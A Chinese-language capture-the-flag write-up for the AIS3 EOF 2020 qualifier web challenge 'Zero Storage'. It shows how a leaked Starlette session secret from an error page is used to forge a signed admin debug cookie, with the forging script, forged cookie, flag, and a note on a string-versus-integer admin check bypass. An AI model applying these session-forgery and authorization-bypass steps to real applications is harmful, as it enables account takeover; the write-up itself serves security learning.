[心得] AIS3 EOF Qual 2020
# AIS3 EOF Qual 2020
- 時間: 1/8 10:00 ~ 1/10 24:00
## 前言
基本上衝到期末考 志在參加
最後只稍微看了一下 解了一題 web 水題
最終結果:
![eof](https://i.imgur.com/jUT7fEc.png)
---
## Web
### Zero Storage (FLAG B)
FLAB B 為 `admin` 的密碼
此題要透過 `/debug_user` 這個 API 來進行
如果你的 SESSION 中有 `debug` 的話 就會將密碼吐給你
```python=259
async def debug_user(request):
if not request.session.get('debug', False):
return TemplateResponse('show.html', {'request': request, 'note': 'Permission denied'})
uid = request.query_params.get('id', request.session.get('id', -1))
async with db.execute('SELECT user, pass FROM users WHERE id = ?', (uid, )) as cursor:
row = await cursor.fetchone()
user, pas = (None, None) if row is None else row
return TemplateResponse('show.html', {
'request': request,
'pre': True,
'note': f'''id : {uid}
name: {user}
pass: {pas}
'''
})
```
而 SESSION 是直接透過內建的 Middleware 實做的
會將 session 資料轉為 json 後再進行 base64 encode 放到 cookie 中
最後加上加密驗證用資料 可以透過 key 確認資料沒被竄改
因此只要取得 `SECRET_KEY` 即可自行產生 session
```python=297
middleware=[
# httponly is always enabled. The https_only here means "secure" flag in cookies
# See source code:
# https://github.com/encode/starlette/blob/8dac5c2c7c986121f57c6741f01b1df300eb5faa/starlette/middleware/sessions.py
Middleware(SessionMiddleware, secret_key=SECRET_KEY, same_site='Strict', https_only=False),
],
```
透過隨意瀏覽不存在的 route
server 就會噴錯誤訊息給你
```
Internal Server Error:
- _debug: False
- state: <starlette.datastructures.State object at 0x7f6de2520490>
- router: <starlette.routing.Router object at 0x7f6de25204c0>
- exception_handlers: {<class 'starlette.exceptions.HTTPException'>: <function exception_handler at 0x7f6de251e1f0>}
- user_middleware: [Middleware(SessionMiddleware, secret_key='Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B', same_site='Strict', https_only=False)]
- middleware_stack: <starlette.middleware.errors.ServerErrorMiddleware object at 0x7f6de2520610>
- __module__: starlette.applications
...
```
從中得知 `SECRET_KEY` 為 `Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B`
簡單寫個 server 產生 cookie
```python
#!usr/bin/env python3
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.middleware import Middleware
from starlette.middleware.sessions import SessionMiddleware
from starlette.responses import PlainTextResponse, HTMLResponse
SECRET_KEY = 'Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B'
async def index(request):
i = request.query_params.get('id', '')
request.session.update({'id': i, 'filenames':[], 'debug': True})
return PlainTextResponse('It works!')
app = Starlette(
debug=False,
routes=[
Route('/', endpoint=index, methods=['GET'], name='index'),
],
middleware=[
# httponly is always enabled. The https_only here means "secure" flag in cookies
# See source code:
# https://github.com/encode/starlette/blob/8dac5c2c7c986121f57c6741f01b1df300eb5faa/starlette/middleware/sessions.py
Middleware(SessionMiddleware, secret_key=SECRET_KEY, same_site='Strict', https_only=False),
]
)
```
得到 cookie `eyJpZCI6ICIwIiwgImZpbGVuYW1lcyI6IFtdLCAiZGVidWciOiB0cnVlfQ==.X_vjQA.PYtRNNV-tR2JifMJzTU5jy4u1UE`
FLAG: `FLAG{DO_u_rEMEmBeR_LudiBRIUM_s_Funny_tIME_makeR_bgM?}`
---
## 後記
題外話
在過程中發現 雖然 `@login_required` 會阻止 id 為 0 (admin) 從非允許的來源存取
但由於我的 session 中放的是 `"0"` 因此不會被 95 行抓到
而在做 db 操作時 `"0"` 卻可以被視為 `0`
因此可以用網頁加好友與上傳檔案
```python=89
def login_required(func):
@wraps(func)
async def wrapper(request, *args, **kwargs):
res = Redirect('index')
if 'id' not in request.session:
return res
if request.session['id'] == 0 and not is_admin_request(request):
return TemplateResponse('show.html', {'request': request, 'note': "Admin is not allowed to login with this IP."})
async with db.execute('SELECT user FROM users WHERE id = ?', (request.session['id'], )) as cursor:
row = await cursor.fetchone()
name, = (None, ) if row is None else row
if name is None:
return res
user = namedtuple('User', ['id', 'name', 'filenames'])(id=request.session['id'], name=name, filenames=request.session['filenames'])
return await func(request, user, *args, **kwargs)
return wrapper
```
![](https://i.imgur.com/fiftnOw.png)
![](https://i.imgur.com/ARCeK80.png)
可惜的是我還是炸不出 `THIS_URL` QQ
關於 FLAG A 原本想的攻擊路徑是:
1. 透過 XSS/SSRF 加好友
2. 透過 XSS/SSRF 瀏覽我上傳的 html
感謝 `SameSite` cookie
我弄不到 `THIS_URL` 就沒辦法完成 SSRF 了
感謝 @a9108900 @aoaaceai @Secminhr 大老罩
2021-01-11 13:25:44
留言
Last fetch: --:--
現在還沒有留言!